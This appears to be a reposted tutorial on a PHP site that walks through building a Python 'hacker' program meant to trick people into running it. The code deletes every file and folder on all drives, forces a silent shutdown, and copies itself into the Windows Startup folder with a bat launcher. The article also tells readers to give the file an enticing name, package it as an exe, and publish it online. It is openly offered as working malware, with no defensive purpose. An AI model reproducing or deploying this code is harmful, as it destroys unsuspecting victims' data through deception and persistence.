Home  >  Article  >  Backend Development  >  Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Go语言进阶学习
Go语言进阶学习forward
2023-07-25 15:50:371234browse

The case we are going to do today is how to use Python to make a hacker software.

As we all know, the most commonly used method used by hackers to hack operating systems is to send Trojan clients and modify the system registry.

Group Policy, obtain boot permission, invade the computer and then modify the computer's files to achieve ulterior purposes.

What we are going to talk about today is the most basic, how to get booting. Let me first tell you the basics of adding files to the folder of the system startup items. Of course, more advanced points can also be used. Use the registry to add, which will not be described here. Okay, let’s get down to business. . . . . .


/implementation steps/

First we conduct an analysis through social engineering and prepare an exe file name that is attractive enough to make people want to click it at first sight; after others click it, this program will have no If it is responsive, some people may click the program a few more times, but of course this will not have any impact on the program. Let's take a look:

First we have to get the system drive letter. For this we can use the os module to get the current system drive letter through the dictionary key value of the environment variable.

import os
print(os.getenv('SystemDrive'))

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

得到盘符后我们先可以将他的目录下的文件和文件夹打印出来    

aa=os.getenv('SystemDrive')
os.chdir(aa+'\\\\') \#修改当前目录
os.system('tree\>\>1.txt') 打印树形目录并将其结果保存到1.txt文件中

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

然后我们只需要删除盘符下的文件夹和文件即可

所以我们需要用到 os 的walk遍历当前盘符下的所有文件,然后使用remove方法和rmdir方法,一个是删除文件另一个是删除目录

好了。我们开始吧,由于没有虚拟机于是自己创建一个目录放了若干文件夹和文件,效果都一样

path = r"C:\\Users\\Administrator\\Desktop\\sa"

os.walk() 方法用于通过在目录树中游走输出在目录中的文件名,向上或者向下。

os.walk()方法是一个简单易用的文件、目录遍历器,可以帮助我们高效的处理文件、目录方面的事情。

语法:

os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])

参数:

top -- 根目录下的每一个文件夹(包含它自己), 产生3-元组 (dirpath, dirnames,filenames) 【文件夹路径, 文件夹名字, 文件名】。

topdown --可选,为True或者没有指定,一个目录的的3-元组将比它的任何子文件夹的3-元组先产生 (目录自上而下)。

如果topdown为 False, 一个目录的3-元组将比它的任何子文件夹的3-元组后产生(目录自下而上)。

onerror -- 可选,是一个函数; 它调用时有一个参数,一个OSError实例。报告这错误后,继续walk,

或者抛出exception终止walk。    

for root,dirs,files in os.walk(path,topdown=False):
    \#遍历目录
    for name in files:
        os.remove(os.path.join(root, name))


    for name in dirs:
        os.rmdir(os.path.join(root, name))

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

其实还有一种方法,就是shutil.rmtree(path),但是它会删除目录本身及所有子文件夹和文件,也就是说他会删除sa这个目录,所以不推荐这种搞法,因为我们要删除的是盘符下的文件夹或者文件,这样做很容易导致未知的错误

得到了系统盘符之后,我们还想得到系统其它盘符那该怎么办了,不着急,我们可以试试下面这种方法。

import os
import string


def get_pan():
    disk_list=[] \#磁盘盘符列表
    for p in string.ascii_uppercase: \#遍历所有大写字母
    disk=p+':'
    if os.path.isdir(disk): \#看磁盘盘符名用了哪些大写字母开头
            disk_list.append(disk) \#添加到盘符列表
    return disk_list
print(get_pan()) #打印盘符

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

结果很完美,跟我预想的一模一样,连u盘盘符也打印出来了~

光打印一个磁盘目录文件好像显得有点美中不足,于是我决定吧所有磁盘目录文件都整出来,老样子,还是树形结构。

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

这样每个盘的目录结构就都保存在对应盘的2.txt文件中了。

然后我们将会把这些盘符下的目录文件全部删除,当然遍历删除啦,为了模拟真实场景我决定用几个带有多层文件和目录的文件夹来代替盘符,这里我就不一一截图了,直接上代码,老样子    

g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']


for y in g:
    for root, dirs, files in os.walk(y,topdown=False):\#遍历目录
        for name in files:
            os.remove(os.path.join(root, name))
        for name in dirs:
            os.rmdir(os.path.join(root, name))

ok,我们已经将文件及目录全部删除。

删除文件后了系统自然无法正常运行,于是这个时候我们可以使电脑关机,shutdown ,我的不二选择,它的方法有很多,用法:

shutdown [/i | /l | /s | /sg | /r | /g | /a | /p | /h | /e | /o][/hybrid] [/soft] [/fw] [/f]
/m \computer[/d [p|u:]xx:yy [/c “comment”]]

没有参数 显示帮助。这与键入 /? 是一样的。

/? 显示帮助。这与不键入任何选项是一样的。
/i 显示图形用户界面(GUI)。这必须是第一个选项。
/l 注销。这不能与 /m 或 /d 选项一起使用。
/s 关闭计算机。
/sg 关闭计算机。在下一次启动时,重启任何注册的应用程序。
/r 完全关闭并重启计算机。
/g 完全关闭并重新启动计算机。在重新启动系统后,重启任何注册的应用程序。
/a 中止系统关闭。这只能在超时期间使用。
与 /fw 结合使用,以清除任何未完成的至固件的引导。
/p 关闭本地计算机,没有超时或警告。可以与 /d 和 /f 选项一起使用。
/h 休眠本地计算机。可以与 /f 选项一起使用。
/hybrid 执行计算机关闭并进行准备以快速启动。必须与 /s 选项一起使用。
/fw 与关闭选项结合使用,使下次启动转到固件用户界面。
/e 记录计算机意外关闭的原因。
/o 转到高级启动选项菜单并重新启动计算机。
必须与 /r 选项一起使用。
/m \\computer 指定目标计算机。
/t xxx 将关闭前的超时时间设置为 xxx 秒。
有效范围是 0-315360000 (10 年),默认值为 30。
如果超时时间大于 0,则默示为/f 参数。
/c "comment" 有关重新启动或关闭的原因的注释。最多允许 512 个字符。
/f 强制关闭正在运行的应用程序而不事先警告用户。
如果为 /t 参数指定大于 0 的值,则默示为 /f 参数。
/d [p|u:]xx:yy 提供重新启动或关闭的原因。
p 指示重启或关闭是计划内的。
u 指示原因是用户定义的。
如果未指定 p 也未指定 u,则重新启动或关闭是计划外的。
xx 是主要原因编号(小于 256 的正整数)。
yy 是次要原因编号(小于 65536 的正整数)。

所以我们得调用os.popen('shutdown /f /sg'),这样就可以在没有任何提示下关机了,神不知鬼不觉,哈哈哈,当然这个操作得是基于文件操作结束后进行的,再次进行优化    

g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']


for y in g:
  try:
          #遍历目录
          for root, dirs, files in os.walk(y,topdown=False):
              for name in files:
                  os.remove(os.path.join(root, name))
              for name in dirs:
                  os.rmdir(os.path.join(root, name))
                  time.sleep(1)
  
  except Exception:
          pass
  
  finally:
          os.popen('shutdown /f /sg')\#不弹出黑窗口

我们把程序发到网上运气好别人点击了,得让那个文件在自启动目录然后每次开机那个程序才会跟着启动啊,但是你想让别人把那个文件放到启动目录里去,做梦呢?这些操作当然交给万能的Python就能一步搞定啦。我们可以在点击这个文件之后快速生成一个bat文件和一个EXE文件或者Python文件。

在这里我以Python 和bat为主,因为我还没打包的缘故。

自启动目录路径:
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
import shutil
shutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\Start
Menu\\Programs\\StartUp\\gc1.py')

在这里我们用到shutil这个模块,专门操作文件目录的Copyfile方法是将当前资源文件复制到另一个目录下的文件,但是需要注意一点的是,两个文件名不可一样,否则会报错,虽然它可以复制,如果你非得用这个方法,记得抛异常。好了,现在可以了:

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

然后我们还需要一个bat来启动它,因为没有bat它是需要借助外力去点击才有效果的,有了bat就可以自动启动。

建立一个后缀为bat的文件,内容如下:

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

same. We still need our Python to intelligently generate bat files. So how to write it? It’s very simple. Someone asked me why pythow is not Python, because there is no black window after running the former. Of course, it is best to create a bat file or copy a program file. Called after deletion, someone asked me, after all your files have been deleted, what is the use of keeping which one? Hahahaha, I can only say that it is just for entertainment. . .

Back to the topic, you only need to create one program file and it will be ok.

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Use Python to delete all disk files with one click, automatically shut down and leave backdoors

Even if we are done, we can also package the Python file so that in the bat file There is no need to write an interpreter, because some target computers may not have a Python environment. In this case, we need to use pyinstaller to package it. After packaging, just change the content of the bat file to start gc.exe.

After packaging it into an exe file, you can publish it online to install X, hahaha~

The above is the detailed content of Use Python to delete all disk files with one click, automatically shut down and leave backdoors. For more information, please follow other related articles on the PHP Chinese website!

Statement:
This article is reproduced at:Go语言进阶学习. If there is any infringement, please contact admin@php.cn delete